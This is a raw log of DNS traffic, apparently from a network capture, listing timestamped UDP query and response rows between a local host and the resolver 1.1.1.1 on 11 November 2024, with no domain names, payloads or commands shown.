Nov 11, 2024 18:50:41.364151955 CET	53	52236	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.381881952 CET	53	51293	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.400681973 CET	61256	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.400831938 CET	63118	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.403724909 CET	54786	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.413099051 CET	63177	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.413477898 CET	61875	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.422830105 CET	53	61875	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.431204081 CET	53	61256	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.434968948 CET	53	54786	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.443569899 CET	53	63177	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.454965115 CET	61330	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.455725908 CET	57466	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:41.465455055 CET	53	57466	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.501935005 CET	53	61330	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:41.707170010 CET	53	63118	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.727524996 CET	53383	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.728529930 CET	57034	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.729106903 CET	58539	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.730252981 CET	53183	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.731545925 CET	55655	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.738930941 CET	60135	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.739038944 CET	65172	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.740055084 CET	53	58539	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.741543055 CET	60267	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.743567944 CET	54016	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.746927977 CET	57089	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.748184919 CET	49726	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.748862982 CET	54835	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.748862982 CET	59655	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.749427080 CET	53	65172	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.749516964 CET	56110	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.749660015 CET	55968	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.750042915 CET	53	60135	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.750061989 CET	53	55655	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.750348091 CET	49229	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.750973940 CET	55371	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.751429081 CET	53	54016	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.753957033 CET	61587	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.757091999 CET	60520	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.757333994 CET	64622	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.757765055 CET	53	57089	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.757853031 CET	53	49726	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.758418083 CET	53	59655	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.758642912 CET	53	53383	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.759217024 CET	52688	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.762079954 CET	53	57034	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.762330055 CET	53	53183	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.762816906 CET	53	55371	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.764590979 CET	53	64622	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.764903069 CET	56127	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.765455008 CET	62675	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.766144991 CET	58282	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.766367912 CET	57473	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.766619921 CET	51473	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.766782999 CET	53	60520	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.768549919 CET	60553	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.768728971 CET	56030	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.769939899 CET	52772	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.770915985 CET	56197	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.772046089 CET	64276	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.772978067 CET	53	60267	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.773252010 CET	61233	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.776237011 CET	53	56127	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.776777983 CET	53	51473	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.776787996 CET	53	52688	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.777169943 CET	53	52772	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.778681993 CET	53	60553	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.778862000 CET	53	54835	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.780327082 CET	53	56110	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.780338049 CET	53	56197	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.780790091 CET	53	64276	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.781394958 CET	53	49229	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.781404972 CET	53	55968	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.784837008 CET	53	61587	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.791038990 CET	59526	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.791991949 CET	53	56030	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.795653105 CET	53	62675	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.797797918 CET	53	58282	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.798455954 CET	53	57473	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.802087069 CET	55573	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.804406881 CET	65329	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.805047035 CET	53	61233	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.817302942 CET	53	65329	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.823663950 CET	53	59526	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.834631920 CET	53	55573	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.906793118 CET	61077	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.910981894 CET	63596	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.911070108 CET	63875	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.916378021 CET	53	61077	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.921473026 CET	53	63596	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.922486067 CET	53	63875	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.923065901 CET	53879	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.923290014 CET	64601	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.923428059 CET	50770	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.923680067 CET	51578	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.924007893 CET	65024	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.924186945 CET	59463	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.929876089 CET	64037	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.930363894 CET	59113	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.931302071 CET	63918	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.931421041 CET	53264	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.932573080 CET	53	50770	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.932651997 CET	54810	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.932956934 CET	51070	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.932956934 CET	53533	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.933310032 CET	53	53879	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.933324099 CET	53	65024	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.933641911 CET	53	51578	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.934282064 CET	53	64601	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.934662104 CET	55530	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.935009956 CET	59437	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.935286999 CET	53	59463	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.936816931 CET	51645	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.936939001 CET	55655	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.937114000 CET	51556	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.937792063 CET	57825	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.938445091 CET	56102	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.939040899 CET	52796	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.939616919 CET	65356	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.940280914 CET	53	64037	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.940352917 CET	61659	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.940359116 CET	53	59113	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.941092968 CET	53098	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.941097021 CET	53	53264	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.942464113 CET	63849	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.943368912 CET	53	53533	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.945297003 CET	62880	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:42.945969105 CET	53	55530	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.946369886 CET	53	51645	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.947618008 CET	53	51556	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.947695971 CET	53	57825	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.948152065 CET	53	55655	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.949703932 CET	53	61659	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.950565100 CET	53	65356	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.952284098 CET	53	54810	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.952294111 CET	53	63849	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.955398083 CET	53	62880	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.962117910 CET	53	63918	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.965176105 CET	53	51070	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.965455055 CET	53	59437	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.970374107 CET	53	56102	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.970706940 CET	53	52796	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:42.972506046 CET	53	53098	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.091742039 CET	55699	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.093242884 CET	51644	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.097095013 CET	64601	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.098541021 CET	60790	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.099153042 CET	62112	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.099833012 CET	54273	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.100966930 CET	53	55699	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.102901936 CET	53	51644	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.106515884 CET	53	60790	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.106527090 CET	53	64601	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.109582901 CET	53	54273	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.110142946 CET	53	62112	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.116739035 CET	61020	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.117013931 CET	56182	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.126447916 CET	53	61020	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.131731033 CET	59354	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.132460117 CET	62443	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.135940075 CET	53	56182	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.140542984 CET	54986	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.140784025 CET	49161	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.141047955 CET	55353	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.141236067 CET	58529	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.142420053 CET	53	62443	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.151768923 CET	53	49161	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.154117107 CET	57387	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.159502029 CET	64831	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.160288095 CET	60517	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.160830975 CET	63289	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.161756039 CET	64824	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.162058115 CET	56177	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.164088011 CET	53	57387	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.164387941 CET	53	59354	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.165249109 CET	51937	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.165657043 CET	64657	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.166671991 CET	50001	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.166709900 CET	55965	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.166915894 CET	53085	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.168169022 CET	52299	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.169223070 CET	65004	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.169253111 CET	53	56177	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.169264078 CET	53	64831	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.169935942 CET	53934	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.171504021 CET	53	63289	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.171710968 CET	53	64824	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.172005892 CET	53	51937	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.172063112 CET	53	55353	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.172072887 CET	53	58529	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.173027992 CET	53	54986	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.176359892 CET	53	64657	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.176398039 CET	53	53085	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.177973032 CET	53	52299	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.178251028 CET	53	65004	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.179398060 CET	53	53934	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.182012081 CET	60453	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.183120012 CET	52835	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.183568954 CET	61212	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.187236071 CET	63492	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.187482119 CET	54429	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.187705040 CET	61527	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.187939882 CET	58875	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.192068100 CET	53	60517	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.192078114 CET	53	52835	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.193635941 CET	53	61212	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.194380999 CET	53	60453	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.197357893 CET	53	61527	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.197444916 CET	52148	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.197638988 CET	53	54429	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.197657108 CET	53	50001	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.197762012 CET	58604	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.197937012 CET	53	55965	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.206269026 CET	53	52148	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.209325075 CET	53	58604	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.217603922 CET	63139	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.217987061 CET	62502	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.218008041 CET	62495	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.218405962 CET	59290	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.218535900 CET	54180	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.218643904 CET	57833	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.218643904 CET	57547	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.218755007 CET	56009	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.218818903 CET	53	58875	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.218827963 CET	63230	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.219049931 CET	63082	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.219049931 CET	59685	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.219152927 CET	53	63492	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.219275951 CET	53675	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.222399950 CET	52906	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.222682953 CET	50337	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.222847939 CET	55791	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.223020077 CET	54119	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.223159075 CET	54671	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.223453045 CET	60234	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.223608017 CET	49674	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.223661900 CET	61263	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.223831892 CET	56225	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.223831892 CET	64608	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.224250078 CET	51226	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.224824905 CET	65031	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.227983952 CET	53	62502	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.228164911 CET	53	59290	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.228532076 CET	53	63139	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.228543043 CET	53	56009	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.228863001 CET	53	53675	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.229362965 CET	53	57547	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.229378939 CET	53	63230	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.230649948 CET	53	54119	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.232594967 CET	53	50337	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.232606888 CET	53	65031	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.232916117 CET	53	52906	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.233689070 CET	53	60234	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.234399080 CET	53	56225	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.234409094 CET	53	51226	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.234720945 CET	53	49674	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.234873056 CET	53	61263	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.235025883 CET	53	64608	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.248671055 CET	53	62495	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.251173973 CET	53	57833	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.251332998 CET	53	54180	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.251954079 CET	53	63082	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.251964092 CET	53	59685	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.253817081 CET	53	55791	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.254549980 CET	53	54671	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.291924000 CET	62836	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.292927980 CET	60811	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.302390099 CET	53	60811	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.303423882 CET	53	62836	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.402395010 CET	56523	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.425699949 CET	53	56523	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:43.841571093 CET	52740	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.844367027 CET	57776	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.846759081 CET	62856	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.848562956 CET	55986	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.853858948 CET	62040	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.854793072 CET	56528	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.855395079 CET	55716	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.855395079 CET	54699	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.855799913 CET	58463	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.856405973 CET	65386	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.856795073 CET	59158	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.856971025 CET	50308	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.858042002 CET	63379	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.858042002 CET	62392	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.859110117 CET	64538	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.859719038 CET	58647	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.860060930 CET	61569	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.860277891 CET	50845	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.860716105 CET	50627	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.860940933 CET	64549	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.862004995 CET	51171	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.862004995 CET	63862	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.862668037 CET	49581	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.863270044 CET	50473	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.865431070 CET	59489	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.866702080 CET	60210	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.867305994 CET	52675	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.868217945 CET	49168	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.868768930 CET	63537	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.871107101 CET	60032	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.871107101 CET	62435	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.873013020 CET	50932	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.874579906 CET	60896	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.876377106 CET	51672	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.879574060 CET	54810	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.879574060 CET	57678	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.881223917 CET	52875	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.882647038 CET	53885	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.884524107 CET	56917	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.886239052 CET	52242	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.888320923 CET	61545	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.890258074 CET	56860	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.890980959 CET	60306	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.893294096 CET	62930	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.893294096 CET	51287	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.894844055 CET	50898	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.895268917 CET	50360	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.895834923 CET	55119	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.896425009 CET	60283	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.898469925 CET	62291	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.898469925 CET	60914	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.899246931 CET	63166	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.901226997 CET	59712	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.901583910 CET	53863	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.903148890 CET	56601	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.903148890 CET	50868	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.904652119 CET	57649	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.905456066 CET	49654	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.905951023 CET	63746	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.907182932 CET	49333	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.907182932 CET	65362	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.908123016 CET	53218	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.908818007 CET	60842	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:43.908976078 CET	59740	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:44.112588882 CET	53	57776	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.113267899 CET	53	62392	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.113312960 CET	53	58647	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:44.114712000 CET	53	51672	1.1.1.1	192.168.2.6
